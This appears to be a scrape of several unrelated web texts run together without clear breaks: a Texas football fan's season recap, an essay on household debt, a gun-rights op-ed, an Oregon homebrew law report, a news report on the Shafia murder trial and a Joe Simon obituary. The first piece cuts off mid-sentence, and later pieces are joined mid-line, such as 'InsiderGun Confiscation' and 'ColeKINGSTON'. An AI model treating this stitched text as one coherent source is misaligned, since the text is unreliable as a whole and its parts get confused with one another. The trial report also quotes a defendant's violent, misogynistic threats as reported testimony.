This fast start of ours secured me permission to continue to watch the game at the ESPN Zone (as long as I didn’t ruin the day if we ended up losing). Alongside the rest of the disheveled fathers who had escaped their screaming sugar soaked toddlers for a moment of peace and sports I picked things up in the second quarter. A pure smash mouth approach gashed the OU defense on the ground. From the 1st carry to the 58th our boys ran hard and ran with violence. The golden lining of this game would be Tyrone Swoopes. There’s something about lining up in a package where everyone in the stadium knows what’s coming… and they still can’t stop it that’s incredibly satisfying. It’s even more satisfying when we line up in a package that everyone knows what’s coming and we still get two wide ass open receivers in the end zone for the touchdown. Entering half time it felt like we were up three touchdowns. But we were only up 14-3 and the arduous vacuum that is the 3rd quarter up next. We had played valiantly but in order to pull off this upset most unexpected we were going to have to do something miraculous to hold the sooners at bay.
By miraculous I mean drag this game into the mud and blood on the field. We passed it 12 times on the day and only out of pure necessity. Run, run, run run, run, run, run, and run some more. Keep the clock rolling along. And let the defense shine. Heroes that day. Our young messiah, Malik Jefferson, and our front 7 imposed their youthful will on almost every big moment that OU tried to capitalize on. Peter Jinkens was a marvel. We kept their offense off the field. And our offense fought like hell to keep our chains churning. But for all our fight we couldn’t quite put them away. We needed a back breaker. Enter D’Onta Foreman.
Up to that point we had relied heavily on the Senior Jonathan Gray to carry our rushing attack. But post-Achilles injury and running behind our inconsistent line he just wasn’t able to manage those runs of the Gray of old. Thus the one-dimensional offensive approach was starting to waiver and OU was inching closer to shutting this win down. With 10 seconds left in the third quarter, backed up on our own 9 yard line… D’Onta Foreman broke free. He squared his 6’1, 240 pound frame up field and galloped through the OU defense. Snapping the spinal chords of the OU sideline and all the Sooner faithful in the split stands of the Cotton Bowl. Our freshman back ran out of gas as a lone OU defender tracked him down and stopped him from scoring. But a back breaker it was. Crimson and Cream spinal fluid soaked the field and the momentum was now ours again.
3 plays later we would score on the 18-Wheeler play action pass where two Texas receivers stood all alone in the end zone. And OU was dooped on possibly the most obvious play call by an interim OC ever. The Sooners would go on to score once more to bring it to a one-possession game. And I grew silent with trepidations and nervousness. We have to hold on. 6:05 left and OU with the ball. They began their drive… 1st down. I started thinking ahead to overtime… 5:20 left. For some reason my eyes locked on Malik Jefferson in motion at the line of scrimmage. They snapped the ball and he came hard off the left side… Right into the rib cage of Baker Mayfield for the sack. I shot out of the chair like a crazy person but quickly stifled my elation back down because this one wasn’t over just yet.
It would all came down to a 3rd and long. I remember holding my breath… the ball was snapped and our front 7 were in the backfield immediately. Baker Mayfield fled for his life but Naashon Hughes and Poona Ford would not be denied their coveted sack to seal the game. My breath returned in a roar. I could feel a weight lifted off the team. Biggest underdogs in the history of the series and we had just risen to the occasion.
I relished every moment of running out that clock. Seeing the Gatorade bath given to Strong, he being lifted above his players heads, and finally having the golden hat placed on his head made me feel for him. He needed this, the team needed this, and I needed this. Better yet? I was at the happiest place on earth. A day spent in the throngs of Middle America, corn dogs, nostalgia, and roller coasters (but fuck that tower of terror ride, seriously, I hate that damn ride). And a fire works display to top it off.
There is nothing to scoff at when we beat our hated rival. The context of this win was monumental. Before the game the season seemed hopeless and lost. I always say no matter what happens the season is worth it if we beat OU. Ehhh…. In the post-ecstasy of the win I began to realize something. We had dominated OU on both sides of the ball for most of the day. Outrushed them 313-61. Shut down their running game that featured two stout backs. That had been a serious problem for most of the season. But we only beat them by a touchdown. That was this team’s ceiling. The box score and the final score didn’t match up. I’ll take that win any year but it’s not a wonder the season ended up like it did when Texas does THAT to OU and manages to win by only by one score.
Kansas State.
In a way… I was happy our offensive "identity" shaped in the OU game carried over to the following Saturday. The state of Texas was in the middle of an apocalyptic wave of weather. A torrential downpour had already soaked DKR before the game started. But this was no ordinary ball coach coming into Austin… It was the purple wizard. It pains us, burns us to recall last year’s game. A shutout. Revenge was on my mind but I dared not get my hopes up too high. Snyder’s recipe for success against Texas has earned him the nickname "The Longhorn Killer" from me. He garners a sort of conflicted infuriating respect from me. He’s a good man and a good coach but I sure as fuck hate losing to him. Every. Damn. Year.
Ugly. Rain fell so hard it looked like sheet metal. We elected to run in that slop. Kansas State elected to throw. Our hard hitting front seven picked up right where they left things against OU getting after the quarterback. But the awful weather kept the product on the field bogged down. The elements allowed for the return of that serious problem plaguing this year’s defense. While our secondary was able to take advantage of errant passes thrown under pressure, our run defense began to falter. Heading into the half with a 16-3 lead we were keeping the Dark Lord at arms length.
The ugliness broke through the damn and drowned the second half. Another scoreless 3rd quarter. Our defense was holding them to field goals but we allowed a career day on the ground for the KState running back. The weather might have been the extra defender on the field that day. But Tyrone Swoopes was the hero that day. A QB mismanaged by two coaching staffs, relegated to the bench after being thrown into South Bend with only feces to do battle, having to watch the shadow of Heard grow over him after Rice and Cal. But he took everything in stride and accepted his role as the ever-popular front man of the 18-wheeler show. And as Heard’s regression continued he became an integral part of any of the offensive success we could scrape together. His long TD run to seal the game made me sincerely proud and elated for the guy. He deserved it. Whether or not the 18-Wheeler package lives to fight another day I think it speaks plenty to Tyrone Swoopes as a young man. He avenged the shut out loss from a season ago.
A water logged win against the purple wizard. Sitting at 3-4, 2-2 in the conference I was starting to look ahead to bowl eligibility. Only needing 4 wins through 6 games with Iowa State, Kansas, West Virginia, Tech, and Baylor remaining I had already penciled us in for the post season. Notre Dame and TCU were distant tragedies. We had just upset OU and avenged a shutout loss from a year ago. I was feeling good about my longhorns.
Iowa State.
In the back of my mind I knew this game would be a loss. There were larger things at work here. The controversial win in 2013. Our improbable shoot out win a year ago in the final seconds last season. There were things to set right in the universe. A Halloween night contest against a team that wanted to beat Texas more than anything… there was much to be nervous about. However… I didn’t think it would be THIS loss.
The night before the team plane barely made it off the tarmac due to the angry weather still battering the state. Players still tweeting at 3 AM after what must have been an awful flight to Iowa. The feeling began to worsen as game time approached. It emulsified in an anxious "I got a bad feeling about this…", muttered under my breath as I watched us kick off. With Karmic justice on their side the Iowa State defense went to work. The one-dimensional "identity" of the Texas offense that had led us to two straight victories was finally stopped cold. Nothing worked. Heard looked overwhelmed. I think it needs to be reiterated to him ad nauseam: YOU CAN THROW THE BALL AWAY. But he took sack after sack. Again our offense couldn’t stay on the field making it necessary for our defense to hold their own. But that wasn’t the recipe for any sort of success this season. Iowa State started moving the ball on the ground and the amount of times we could stop them were growing slimmer with every possession. Despite a total no show of any offensive output we were only down 10-0 at the half. However, hope was hard to rouse up. This had the all too familiar makings of a cursed team on Halloween night.
We all know what happened next. The offense came out and tried everything. 3 back sets, 2 back sets, 1 back sets, empty backfield, Air raid, Veer-N-Shoot, wishbone, Read Option, there might have even been some soccer offensive schemes thrown in there. 12 possessions for the offense on the night. 7 of them ended in 3-N-Outs. Our longest drive consisted of 11 plays was in the first quarter. It ended in an interception thrown by Heard. We didn’t cross the 50-yard line… until 1:35 left… in the 4th quarter. With Heard and most of the Cyclones starters on defense on the bench. And as Swoopes’ final pass sailed wide of Marcus Johnson’s hands the clock ran out I looked at the score. 24-0. Another shut out on the road. What little remaining high I still had after OU and KState evaporated. I crashed down to the post-TCU level low point. I still believe to this day that the loss was a universal intervention to set the wrongs of the past right. So… we can cross that one off the list. But in all seriousness this was another blow to my confidence in Strong. We all knew the offense was bound to meet difficulties in its current manifestation. But the team regressed to Watson-levels of incompetence. And to not even go out and be competitive against Iowa State… For the first time I can remember I was left not being able to make any sense of Texas Football.
3-5, 2-3 post-shut out #2 under Strong. Just some food for thought… Strong is 1-0 vs. teams who shut us out the year before… Ahem.
Kansas.
Not much to say about this game other than I needed it desperately. The last time I saw a Texas team score over 50 points was against New Mexico State in 2013. And it was the most points scored since Ole Miss in 2012. Despite stumbling through the first half to a 10-point lead we were doing, for the most part, what we’re supposed to do against bad teams. Impose our will. Our secondary was flying around and picking off balls like the DBU of old. As excited as I am about Malik up front… that secondary is going to be one salty unit in years to come. John Burt just absolutely torched people down the field. That kid has speed that’s simply unfair at this level. So for the first time we got a glimpse at what this team can do once they figure the college game out and put it all together. Watching the Kansas game you can see the pieces in this team. Without a doubt Texas has some really good players coming up through the ranks.
At some point in the second half the Mack Brown post-2009 coaching philosophy of "We’ll just out talent the other guys" finally kicked in. And we rattled off 35 points. Regardless of 600 yards of offense it was hard to be THAT excited outside of the fact I hadn’t seen Texas curb stop inferior competition once this season. It was what we were supposed to do. And it did little to take the frustration out of the ND, TCU, or Iowa State games. But that damn defense… injuries started up in force this game. I know we pulled out most of our starters (that are essentially high school players anyway) in the 2nd half we still gave up 430 yards of offense to the Jayhawks. The youth we were forced to handcuff ourselves to for the entire season meant we were to suffer the whims of growing pains. Thus this razor thin line we were now walking, the two road games left, and the offense from out West heading into Austin on Thanksgiving meant that the hope that we would be able to pull off last year’s effort to scrape our way into a bottom tier bowl against the percentages began to wane.
4-6, 2-3. Two wins out of the final three and we’re going bowling.
West Virginia.
I was in Hawaii for this game. Being in paradise and a Texas fan meant a 7:00 AM wake up to catch this game. Last year, West Virginia was ultimately the "turning point" of sorts for us to make a post-season berth. This game was that once again. In truth I was not and am not as disappointed in the final result. We actually looked very good on the offensive side of the ball. But that’s exactly how good teams lose on the road. 5 Turnovers 9 times out of 10 will assure a loss. D’Onta Foreman was again a force of unstoppable will… Until he coughed the ball up of course. But I particularly liked how he came right back out and broke off that 65 yard play to score on the first play of the next possession.
A 17-10 deficit at the half time was followed in the second half by the realization of Heard’s ceiling. His impatience in the pocket, inability to go through his progressions, and refusal to just throw the damn ball away blew out the tires of our offense. The defense would go on to surrender 277 yards on the ground to WVU. While the |
the state can noo longer afford to subsidize. By 2014, Lewis writes, cities like San Jose -- the 10th largest city in the U.S. -- would have gone from 7,450 staffers to 1,600.
"There is no way to run a city with that level of staffing. You start to ask: What is a city? Why do we bother to live together? But that's just the start," San Jose Mayor Chuck Reed told Lewis. "I don't know how far you have to go to get to one (employee), but it isn't all that far off." In fact, in Vallejo, Calif, they are just about there.
This is what deleveraging looks like from the state perspective. But the same process is unwinding in U.S. households, and in U.S. businesses. "Buy now, pay later" was a mantra of the 80s. Later is now.
Okay, so freedom doesn't mean free...
Freedom Doesn't Mean Free
I grew up in a small coastal town called Westport, about an hour west on Route 6 from the Kennedy compound in Hyannisport, and 30 minutes east from the summer playground of the Vanderbilts in Newport, Rhode Island, a state struggling to pay its employees' retirement obligations. Some cities in the state, like Central Falls -- a mostly black and Hispanic municipality -- already filed for bankruptcy this year.
Not far away, Westport is a town of beaches, cows and corn, million dollar summer homes to shotgun shacks ready to collapse on the people inside. The average income, according to the Bureau of Labor Statistics in Washington, was around $54,000 in 2010, or around $4,500 a month gross. The mean price for a home in 2009 was $368,000. If a person could put down 20%, and got a 4.5% mortgage, the loan with insurance would be close to $2,000 a month, nearly half gross average income. They're not giving these homes away yet, even with the housing crisis still ongoing.
It's not easy. In the county where Westport sits, unemployment is over 11%, the highest in the state.
My childhood home is in a neighborhood called Greenacres, named after the popular 1966 TV show starring Eva Gabor as a New York uptown girl who goes country, and talks a lot like Arianna Huffington.
Darling, I love you, but give me Park Avenue.
That 11% unemployment in the region is mostly due to old manufacturing cities surrounding Westport. These are places an Eva Gabor would loathe to live. I live next door.
In the 2011 version of Greenacres, Courtney Love is the blonde in the penthouse suite, pining over her missing fortune as she spends the fortune she says she doesn't have. Instead of moving down market where roosters roost, she goes hobnobbing with Lords in the English countryside, conscious enough to wonder if she belongs there. What comes through in the article is her inability to grasp reality. It smacks of emotional America in the 21st Century.
Going to jail for clocking a reporter at a 1995 Vanity Fair Oscar party? Who cares. She'd be out by now, Courtney says. It's a mindset that says risk always brings reward. As if risk is not risky. You don't need to invest on risk, because there is no risk; in fact there is only reward. Until there isn't. First there's the parties. Then there's the hangovers. Then there's rehab.
Nancy Jo Sales interviewed Courtney over a few days, following her to British balls where Courtney tries on the Queen's English while flipping through Debrett's New Guide to Etiquette & Modern Manners to make sure she gets it right. "I wasn't brought up well," Courtney tells Sales. This is a woman who dreamed of fame and fortune and got it. She went from Orgeon juvenile detention at 13 years old to the stereotypical route to stardom for tough girls, first you pole dance, then you write some songs, then you sing them, then you become a rock star.
We hold up the improbable and near-impossible achievements of the 1% as if they are doable just by hard work, a good attitude, and the right friends. But Courtney's friends invite her to parties in the Hamptons and to the Goodwood Ball. Earls put her up in castles with butlers. Let's not pretend this is normal. Like a pre-tween Disney Channel sitcom where everyone's got their own dance show or are exceptional students (possibly even with wizard powers), this is the life we actually have come to believe we can live. The truth is, it is probably just healthier to believe we can't.
In 1996, I worked as a tour guide at The Breakers, Arthur Vanderbilt's summer home and the largest mansion in Newport, RI. Anderson Cooper's mother, Gloria Vanderbilt, played around as a child in this home. It's not too far away from the Astor's house, where Oracle CEO Larry Ellison has a home. On nice summer days, me and a good friend of mine named Heather would walk the sprawling weed-free lawn holding hands, dressed to the nines in our JC Penny tour guide income finest, and strolled towards the Cliff Walk over looking the Atlantic. Hundreds of people would come to visit the home each day, but even more would take the free walk along the sea that started near Easton Beach off Memorial Boulevard. Heather and I liked to walk up to the hedges bordering the Cliff Walk and whenever we would get asked by foreigners, standing on their tip toes to see more of the property over the bushes, "What is that mansion over there?" (the locals already knew), we would tell them it was our house. Some of them actually believed us because their reference to America was movies and soap operas where everyone either lived in a 5,000 square foot mansion or in a Malibu beach house. To the rest of the gawkers, we told the truth. But for a brief minute or two, surveying all that green, that gorgeous view standing beside a gorgeous woman, people believed it was all mine. I knew at 22, that was success. Like that One Republic anthem, I was young and I could become a millionaire. It was going to be a good life.
'69 was mighty fine, but '88....
'88 (Was) Mighty Great
Richard Abrams is probably the youngest kid in all of Westport history to ever own a brand new Corvette. One day, outside what was once the smoking section of Westport High School, Abrams pulls in with a brand new red Corvette. Not even the principal had a car that at the time cost around $35,000. I knew Abrams. I had been to his home. He was like the rest of us riff-raff, middle class kids from unglamorous hard working families who believed in the future. Only somehow, he believed harder than the rest of us and got a Vette sooner than later, with just a few months working at Westport Tire. Not wanting to be outdone, I got myself a 1985 Camaro Berlinetta with T-Tops, the best I could do. It cost me $6,500. My parents put $1,000 down. I paid off the rest bagging groceries at Stop & Shop and later washing dishes in a Rhode Island restaurant. Great car. Shitty job. But I felt like a brat packer, and I drove the same car Sonny Crocket drove in the first episode of Miami Vice...until he upgraded to a Ferrari.
We have been outdone. But we insist on outdoing ourselves.
On Oct. 28, the Commerce Department said consumer spending rose nearly 1%. That's good news. But by comparison, incomes were unchanged because they rose 0.1% in September after falling 0.1% in August. Savings dropped to their lowest levels since December 2007 to 3.6%. Once again, we are spending more than we earn. All this, with the highest unemployment in more than 20 years.
Greenacres is the cause of this mess. It's the Mayberry rednecks trying to be like the real money on Fifth and Park. Talk to most bank executives and they'll still place the blame for the 2008 financial crisis on "irresponsible consumers" who bought homes they couldn't afford and on Fannie Mae and Freddie Mac who gave mortgages to people who "shouldn't own homes", one New York bank executive told Suzanna Andrews in the article on Elizabeth Warren in Vanity Fair.
The cause of the crisis wasn't investors who thought all risk always meant all reward, it was caused by the boring play-by-the-rules group in the middle that defines what America is to everyone looking over the hedges and peering into the neighbor's yard. But inch by inch, we started pulling the threads out of the regulatory fabric that keep the middle class strong, starting in the 80s, writes Andrews, and accelerating with the fall of Soviet communism in 1991. There was no other model to turn to and this is what we got to make sure that, despite the protests, despite the concerns, the status quo may take down a few people, but it will remain. Although a Gallup poll in the fall of 2010 showed that 61% of Americans supported the Dodd-Frank bill designed to curb the all risk/all reward meme that triggered the 2008 meltdown and subsequent recession, over 2,500 lobbyists and big banks spent millions making sure the Consumer Financial Protection Bureau was toothless. As for individual banks, Andrews notes, JP Morgan Chase, which received $25 billion in bail out money, spent $14 million on lobbying efforts. Goldman Sachs, which got $10 billion in bailout funds from taxpayers, spent $7.4 million during the 2009-10 election cycle. They won. And the icing on the cake was President Obama's decision not to appoint Elizabeth Warren, seen as anti-Wall Street, to the lead the Bureau.
At a time of record corporate profits, a time when 14 million Americans are out of work, when millions have lost their homes and, according to the Census Bureau, the ranks of those living in poverty nationwide has grown to one in six -- that Elizabeth Warren could be publicly kneecapped and an agency devoted to protecting American consumers could come under such intense attack is, ultimately, the story about who holds power in America today, Andrews writes.
More than that, it assures change is unlikely. K Street is entrenched in Washington. Sure the Beverly Hillbillies are cutting their spending, but not for long. It won't last. We're trying to keep up with the Kardashians.
As is Courtney Love, who is still complaining to Sales about being broke right around the time I pull into New York. In the end, Courtney, like the rest of us, is angry about things that might not matter -- the right way to hold a tea cup, where her next million will come from -- and sad about the things that should -- like getting along with an estranged child and "trying to love myself" as she tells Sales.
A month ago, I had met Abrams in Westport. We joked about his Corvette and reminisced about our high school years. He's holding onto the same job he's had for more 20 years at a building supply company nearby. I'm impressed by the longevity. But he's not all that flattered by it. I'm a world traveling reporter who lived in one of the richest hoods in São Paulo; red carpet treatment, heated swimming pool, palm trees and parrots. That's gone for me. For Abrams, the good life didn’t turn out exactly as good as he had thought in 1988. Ironically, or not, he is living with his parents in Westport again. He returned to the place he first parked his Corvette. Only now, the Corvette is gone and he's back at start, getting over his over-levered self.
See: Deleveraging: You Ain't Seen Nothing Yet--The Economist
Average Homeowner Now 'Underwater'--CNBC
New WSJ Poll: Americans Want Everything--Business InsiderGun Confiscation: An Evil Wind Blows in America
There’s an old saying that the Devil’s greatest triumph was getting people to believe he doesn’t exist.
Firearm confiscation is like that.
Stamped with a gold seal, the order came as more than 100,000 Americans braced themselves for the landfall of Hurricane Irma in the Caribbean, a Category 5 storm. This was not the first time the U.S. Virgin Islands (USVI) had faced the threat of a serious hurricane on the way. But the reality in this case was far graver for the USVI’s law-abiding gun owners.
For Gov. Kenneth E. Mapp’s order of Sept. 4, 2017, put them not just at the mercy of nature but of those who would exploit the chaos of the storm to victimize the vulnerable. Mapp activated the National Guard “to maintain or restore public order, and to guarantee the safety of life and property.” But he went further, shockingly decreeing, “The Adjutant General is authorized and directed to seize arms, ammunition … and any other property that may be required by the military forces for the performance of this emergency mission ….”
Forced confiscation of Americans’ lawfully-owned firearms – a phenomenon one gun control advocate referred to as “a paranoid delusion manufactured out of whole cloth by the National Rifle Association” – became an imminent, undeniable threat.
Mapp’s order embarrassed the gun control lobby, because it said too much about what they really want and their cynical willingness to exploit every possible circumstance to get it. If the Second Amendment’s individual right to keep and bear arms for self-defense has any value, it surely must be in an emergency where first responders are overwhelmed and good citizens have no choice but to protect themselves.
But whenever America’s nerves are set on edge, gun control opportunists hope to exploit the tendency of some to reject the harsh reality that they could find themselves in a situation where the emergency services they take for granted are simply not available.
That sort of determined helplessness is essential to the gun control mindset. It’s why gun control advocates deny – despite incontrovertible evidence to the contrary – that ordinary citizens can effectively use guns in emergencies. It’s why they insist that a gun in the home only increases the occupants’ risk. It’s why they call any suggestion of arming someone threatened by a bigger, stronger, or more aggressive assailant “victim shaming.”
It’s why any gun control measure is said to be justified if it could conceivably “save just one life,” but any example of a gun actually saving an innocent life is dismissed out of hand as a freak occurrence.
But gun control advocates also hope that they can shame or silence their opposition when exploiting human tragedy. Is it really time to press the legitimacy of Second Amendment rights when a small island community is under threat of being battered by a Category 5 hurricane?
You bet it is, especially when having or not having a gun could be the difference between life or death for an innocent person.
And so the NRA didn’t blink in 2005 when coming to the aid of Hurricane Katrina victims in New Orleans who were being forcibly disarmed by local officials. First responders had been overwhelmed by the demands of the storm, and residents who had not evacuated their homes were effectively dealing with anarchy.
Incredibly, the response of Mayor Ray Nagin and Police Superintendent Eddie Compass in that situation was to order the confiscation of firearms from lawfully-armed residents. A camera crew infamously captured the shocking sight of a frail woman being slammed to the ground in her own home by police officers enforcing the post-Katrina order. For many, this became an indelible image of the very sort of violent firearm seizures that some claim could never happen in the U.S.
The NRA successfully petitioned a federal court to halt the New Orleans confiscations and to issue an order requiring the return of the seized firearms. Yet not until 2008 did the NRA and New Orleans come to terms on acceptable procedures for return of the unlawfully confiscated property.
The NRA also promoted legislation in the wake of Katrina to prevent government officials from using their emergency powers as a pretext for disarming the citizenry. In 2006, President George W. Bush signed into law the Department of Homeland Security Appropriations Act, which contained an NRA-backed amendment modeled after legislation introduced by then-Rep. Bobby Jindal (R-La.). The provision, now codified at 42 U.S.C. § 5207, prohibits persons acting under color of federal law, receiving federal funds, or acting at the direction of a federal employee from seizing or authorizing the seizure of lawfully-possessed firearms during a state of emergency. Most U.S. states now have similar laws.
But firearm confiscation and the measures that enable it, including firearm owner licensing and firearm registration, are still the lodestar of the gun control agenda.
In June, Judge Roger T. Benitez of the Southern District of California blocked a California law that retroactively prohibits possession of so-called “large capacity” magazines that Golden State residents had originally obtained lawfully and in good faith. As Judge Benitez explained in his opinion, “On July 1, 2017, any previously law-abiding person in California who still possesses a firearm magazine capable of holding more than 10 rounds will begin their new life of crime.” He also remarked on how California has used “incrementally more burdensome restrictions” that threatened to render constitutional rights “meaningless” if viewed in isolation and not as part of a broader regulatory scheme.
California and other states are also embracing firearm confiscation via so-called “extreme risk protection orders” (ERPOs). Not content with creating increasingly broader categories of statutorily prohibited persons, these states are empowering courts to issue orders for the seizure of guns from people who aren’t captured by these categories already. That is, people who have committed no disqualifying crime, have no serious charges pending against them, have never been subject to a court-ordered commitment or incapacity finding, and aren’t drug addicts or subject to domestic violence protective orders. In some cases, ERPOs can be issued and executed before the accused has even had a chance to respond to the petitioner’s allegations.
California and New York also crosscheck gun licensing or registry databases with records of disabling convictions or court orders and, with no judicial involvement whatsoever, send squads of heavily armed police officers to collect firearms from their owners. In some cases (like the one I wrote about last month), mistakes occur. In others, they also take away firearms from other household members who aren’t actually prohibited.
California Department of Justice Special Agent Greg Cameron, who participated in that state’s seizures, believed that most of the targeted people posed no public safety threat and didn’t even know they were prohibited. “It’s embarrassing,” he said. “It does absolutely nothing to curtail crime.”
But the activists, politicians, and pundits who support gun control don’t care if laws or confiscation efforts focus on dangerous people. They see no value in “ordinary people” having guns, so every disarmed American is a victory, however small. And every time they take away one gun, they hope to make it that much easier to take away the next.
As for the USVI, the NRA swiftly condemned Gov. Mapp’s order and pledged to take any legal action necessary to vindicate the Second Amendment rights of his constituents. That message apparently hit home.
The next day, Gov. Mapp appeared before a national audience on the Tucker Carlson Show and offered a convoluted explanation of the order’s intent, notwithstanding the plain words on the page. Ignoring the word “seize,” Mapp claimed it simply meant the adjutant general could purchase arms at retail without normal procurement procedures if the National Guard’s own equipment proved insufficient for its mission. “This is not about seizing anybody’s personal property,” he argued.
How a seizure order is not about seizing property is anyone’s guess, but obfuscation has always played a central role in the ongoing assault on our rights.
To date, we have no information that any untoward action has, in fact, occurred under Gov. Mapp’s Sept. 4 order. Yet the NRA remains committed to standing with the people of the USVI and anyone else who is threatened with unconstitutional firearm confiscation.
And in a broader sense, the USVI seizure order should give us all pause when anti-gun legislators and regulators discuss the need for firearm registration or licensing as just another “common sense” measure to combat gun violence. With a full licensing and registration system in place, Gov. Mapp’s seizure order would have been administratively easy to carry out had not he been forced to recognize the illegitimacy of his position and backtrack the order on national television.
America’s law-abiding gun owners must remain ever vigilant of any attempt to undermine our firearms freedom, especially when elected officials use extraordinary events to curtail our rights in the name of “public safety." Because if you don’t believe gun confiscation can happen in America, the next storm may well catch you unaware.SALEM -- Trouble was brewing in Beervana last spring when a new interpretation of an old state law blocked home brewers and amateur winemakers in Oregon from participating in friendly tastings and contests.
Even the Oregon State Fair canceled its homemade beer and wine competition after the Oregon Liquor Control Commission received an advisory from the Department of Justice saying the law did not allow nonlicensed amateurs to share their carefully crafted stout or pinot anywhere except at home.
Brewers' blogs foamed with anger. One even complained about the "Gestapo-like crackdown." Several state lawmakers set to work to fix the problem.
Tuesday, the Oregon Senate unanimously endorsed Senate Bill 444, which would rewrite state law to allow homemade beer and wine to be made, transported and consumed. It would clear the way for contests to resume in time for summer and fall judging.
The bill was carried on the floor by Sen. Floyd Prozanski, D-Eugene, who has been brewing his own beer since 1987.
"I was shocked," Prozanski said about last year's legal ruling. "My brew partner was extremely concerned because we brew at my house. Under current law, he would be subject to prosecution for transporting his portion home."
The bill still must get through the House. But it passed the Senate without debate.
Denny Conn, a member of both the American Homebrewers Association and the Cascade Brewers Society in Eugene, said he's optimistic about its prospects.
"We have a big brewfest down here in May, the Sasquatch Brew Fest," said Conn, a certified beer judge as well as a member of the national association's governing committee. "At this point we're going ahead."
Small aside: Conn noted a guy doesn't become a certified beer judge simply by sitting down and lifting some pints. He had to pass a three-hour test, answering 10 essay questions.
Oregon is home to an estimated 20,000 home brewers and amateur winemakers.
Gary Glass, director of the American Homebrewers Association, said Oregon has one of the oldest laws in the nation, dating to the Prohibition era.
Even though it's been a tough time for Oregon home brewers, he suggests it could be worse. Two states, Alabama and Mississippi, have laws that prohibit home brewing altogether.
Brett Begani, a member of the PDX Brewers board, called Tuesday's Senate vote "a fantastic victory."
"When I first started home brewing three years ago, I looked up the statute because so many laws are in flux for home brewers, and I felt it was saying I couldn't move my beer," Begani said. He then asked other brewers about it.
"Everybody said: 'That may be the way the law is written, but we hold competitions, and somebody would have said something,'" he said.
If Senate Bill 444 passes the House and is signed by the governor, Begani hopes the law will finally be clear.
"We have an emergency rider on the bill," he added, "so the minute the governor signs it, it will be law, and we will be able to have a nice celebration."
-- Michelle ColeKINGSTON, Ont. - A Montreal man charged with killing his three daughters cursed them as "treacherous" for having boyfriends and said even if they came back to life 100 times he would "do the same again," court heard Monday.
"Even if, God forbid, they hoist us onto the gallows... we accept it wholeheartedly," Mohammad Shafia is heard telling his wife and son on a police intercept one day before the three were arrested.
Shafia, 58, his wife Tooba Mohammad Yahya, 41, and their son, Hamed, 20, have each pleaded not guilty to four counts of first-degree murder.
Three teenage Shafia sisters, Zainab, 19, Sahar, 17, and Geeti, 13, along with Rona Amir Mohammad, 50, Shafia's other wife in a polygamous marriage, were found dead inside a car submerged in the Rideau Canal in Kingston, Ont., on June 30, 2009.
Several intercepts, made from listening devices placed in the family's minivan, home and on Hamed's cellphone in the days leading up to their July 22, 2009, arrests, were played in court Monday. Shafia largely dominates the conversations, lamenting the fact that his daughters were dating, and ranting about family honour.
Court has heard that much of the family turmoil surrounded Zainab and her boyfriend, whom she married for one day, and relatives have testified that Shafia wanted to kill her. Yahya is heard on one intercept saying she knew Zainab was "already done," but she wishes the "two others" weren't.
"No Tooba, they were treacherous," Shafia says, likening them to prostitutes. "When I tell you to be patient, you tell me that it is hard. It isn't harder than watching them every hour with (boyfriends). For this reason whenever I see those pictures, I am consoled.
"I say to myself, 'You did well. Would they come back to life a hundred times, for you to do the same again,'" Shafia says on the intercepts, translated from their native Dari, a dialect from Afghanistan. "That is how hurt I am. Tooba, they betrayed us immensely. They violated us immensely. There can be no betrayal, no treachery, no violation more than this."
Shafia repeats his apparent threat about "a hundred times" on another intercept, saying, "If I have a cleaver in my hand, I will cut him/her in pieces."
"If we remain alive one night or one year, we have no tension in our hearts, (thinking that) our daughter is in the arms of this or that boy, in the arms of this or that man," Shafia says.
"May the devil...(defecate) on their graves. Is that what a daughter should be? Would (a daughter) be such a whore?"
The first half of one of the wiretaps was played for the jury last week, and Shafia and Yahya can be heard on it apparently placing themselves at the scene of the deaths, despite swearing to police they had not been there and had no idea what happened.
They are heard on an intercept from July 18, 2009, fretting about the possibility the police had found a camera at the scene, but ultimately concluding — correctly — that the police were lying. Court has heard police said this to generate exactly the kind of conversation that followed.
"That night there was no electricity there," Shafia says. "It was pitch darkness. You remember, Tooba?"
"Yes," she replies.
In the continuation of that intercept, played Monday, the family continues discussing the possibility of a camera, but they decide if there was one, police would have found it sooner.
"If they had had any proof they would have come (for us) a long time ago," Shafia says. "They wouldn't have left you, me or your mother alone."
Kingston police Sgt. Mike Boyles took the stand in the afternoon and testified about interrogating Hamed after the family was arrested. Another officer interviewed Shafia and Yahya in Farsi, which he said is closely related to Dari.
The jury viewed the first half of Hamed's interrogation, when an officer other than Boyles tries a more casual approach to questioning Hamed. When it became apparent it wasn't working, Boyles stepped in, he testified.
Court is expected to resume Tuesday morning with the continuation of that video..
“Joe Simon: My Life in Comics” (Joseph H. Simon/Titan Books)
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JOE SIMON, NEARING THE CENTURY MARK, still sounded like a man energized by the passions of his boyhood.
Simon, that son of upstate New York who grew up inspired by “Krazy Kat” and “Prince Valiant” and “The Gumps,” waxed thoughtful this past summer of a career that spanned superheroes and romance comics, satirical humor and sports cartoons.
Looking back at a legendary career highlighted in part by his co-creation of Captain America exactly 70 years ago this year, what was Mr. Simon most amazed at when considering his breadth of creative output?
“What astonishes me is that I’m still here to look back!” Simon told Comic Riffs with characteristic wit. “But yes, I’m amazed and grateful for all of the things I had the opportunity to try, and am still getting to do.”
There wasn’t much that Simon had left undone professionally as word spread Thursday that he had died in New York after a brief illness. He was 98.
Marvel Comics confirmed his death to Comic Riffs.
Simon was one of the revered figures in comics — the writer-artist who could do it all, and had done it all. From horror comics to adventure comics, he brought craft and care and intelligence to his work.
Virtuoso though he was, his most iconic image from 80 years in the industry will remain the introduction of Captain America socking Hitler in the jaw in 1941 — the dawn of a brilliant teaming of Simon and fellow great Jack Kirby.
“Joe Simon and Jack Kirby’s Captain America was the first comic I read that made me feel like I was watching an exciting action movie,” Stan Lee has told Comic Riffs. “To me, the way Simon and Kirby wrote and drew Captain America gave me the same thrill as watching Errol Flynn playing Robin Hood on the big screen.
“There was a sense of power and drama and excitement in Joe and Jack’s work that made it totally unique and always enjoyable.”
It was Simon who, as editor of Marvel’s predecessor — Timely Comics — would hire a 16-year-old Stanley “Stan Lee” Lieber, giving the future legend his break into the business.
Of Simon and Kirby’s work, comics superstar Neil Gaiman has told Comic Riffs: “I think the thing for me about them was that they were an astonishing duo together. Simon and Kirby together have cast huge shadows on the world of comics.”
Adds Gaiman: “Some of the most memorable stories I’ve done were influenced hugely by Joe.”
And another legend, Jerry Robinson, co-creator of the Joker, for a time had a drawing board next to Simon and Kirby. He told Comic Riffs in August: “Jack and Joe were innovators in their storytelling. And we all influenced each other.”
Robinson, of course, died last week at age 89. It’s been a mournful month for Golden Age greats. And the proximity of Joe’s and Jerry’s death heightens the sense of history lost and legacies left behind.
